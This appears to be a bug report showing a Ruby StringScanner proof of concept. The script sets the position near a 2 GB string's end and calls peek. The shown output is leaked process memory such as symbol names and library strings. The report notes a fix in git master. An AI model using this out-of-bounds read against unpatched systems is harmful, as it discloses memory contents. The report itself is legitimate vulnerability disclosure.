require 'strscan' x = 'x' * 0x7FFFFFFE s = StringScanner.new(x) s.pos = 0x7FFFFFFD t = s.peek(40000) t.each_byte do |i| if i != 0 print i.chr end end
$ ./ruby poc.rb | strings @ ;>@V`TdBE __gmon_start___fini_ITM_deregisterTMCloneTable_ITM_registerTMCloneTable__cxa_finalize_Jv_RegisterClassesonig_region_memsizeonig_region_freeruby_xfreerb_gc_markrb_check_typeddatarb_num2longrb_eRangeErrorrb_raiserb_int2bigrb_eArgErrorrb_string_valuerb_reg_region_copyrb_memerrorrb_data_typed_object_zalloconig_region_initrb_str_newrb_str_dumprb_str_new_staticrb_str_catrb_funcallrb_str_lengthrb_str_appendrb_error_arityrb_warningrb_enc_copyrb_sym2strrb_enc_getonig_name_to_backref_numberrb_eIndexErrorrb_enc_raiseonig_region_clearonig_region_setrb_enc_mbclenrb_check_typerb_reg_prepare_reonig_matchonig_freeonig_searchrb_obj_classrb_sprintfInit_strscanrb_cObjectrb_define_classrb_eStandardErrorrb_define_class_underrb_const_definedrb_obj_freezerb_const_setrb_define_alloc_funcrb_define_private_methodrb_define_singleton_methodrb_define_methodrb_intern2rb_aliaslibpthread.so.0libdl.so.2libcrypt.so.1libm.so.6libc.so.6_edata__bss_start_endGLIBC_2.1.3 @xh[ D$ P UWVS [^_] &WVS t&WVS t&VS 'WVS D$ P 'UWVS l$8PV [^_] 'UWVS [^_] ;|$0| L$0) ;|$0| L$0) 'UWVS l$<P [^_] ~`9G [^_] PjjW vWVS PjjW t&WVS PjjW vUWVS [^_] vUWVS |$@P [^_] 'UWVS |$<j [^_] ~$RW QRQU &UWVS |$<j [^_] ~$RW RPRPU UWVS |$<j [^_] ~$RW QRQU [^_] UWVS |$<j [^_] ~$RW RPRPU &UWVS |$<j [^_] ~$RW RPRPU [^_] &UWVS |$<j [^_] ~$RW QRQU 'UWVS |$<j [^_] ~$RW QRQU UWVS |$<j [^_] ~$RW RPRPU UWVS |$<j [^_] ~$RW RPRPU UWVS |$<j [^_] ~$RW QRQU t&VS t&UWVS [^_] vUWVS [^_] &UWVS |$<P [^_] 'WVS ^j2P jPW [^_ uninitialized StringScanner objectunscan failed: previous match record not existStringScanner#empty? is obsolete; use #eos? insteadundefined group name reference: %.*sStringScanner#getbyte is obsolete; use #get_byte insteadStringScanner#peep is obsolete; use #peek insteadStringScanner#clear is obsolete; use #terminate insteadStringScanner#restsize is obsolete; use #rest_size instead$Id: strscan.c 53715 2016-02-02 04:39:44Z naruse $index out of range...regexp buffer overflow#<%li (uninitialized)>#<%li fin>#<%li %ld/%ld @ %li >#<%li %ld/%ld %li @ %li >ScanErrorbytesliceStringScanner0.7.0VersionIdinitializeinitialize_copymust_C_versionresetterminateclearstringstring=concat<<pos=charpospointerpointer=skipmatch?checkscan_fullscan_untilskip_untilexist?check_untilsearch_fullgetchget_bytegetbytepeekpeepunscanbeginning_of_line?bol?eos?empty?rest?matched?matchedmatched_size[]pre_matchpost_matchrestrest_sizerestsizeinspect ;*2$" pH ` vGCC: (Debian 4.9.2-10) 4.9.2 , ]_ ^8 [ ^< =T BD ~t PF H AT ^h ]Q ^ { 4$ " ^0 g ^4 o H u% ^X q$ \ u3 , ]_ ^8 [ ^< =T BD ~t PF H AT ^h ]Q ^ { 4$ " ^0 g ^4 o H u% ^X q$ \ u3 UU!"" UU#DD !""l UU(
Fixed in git master.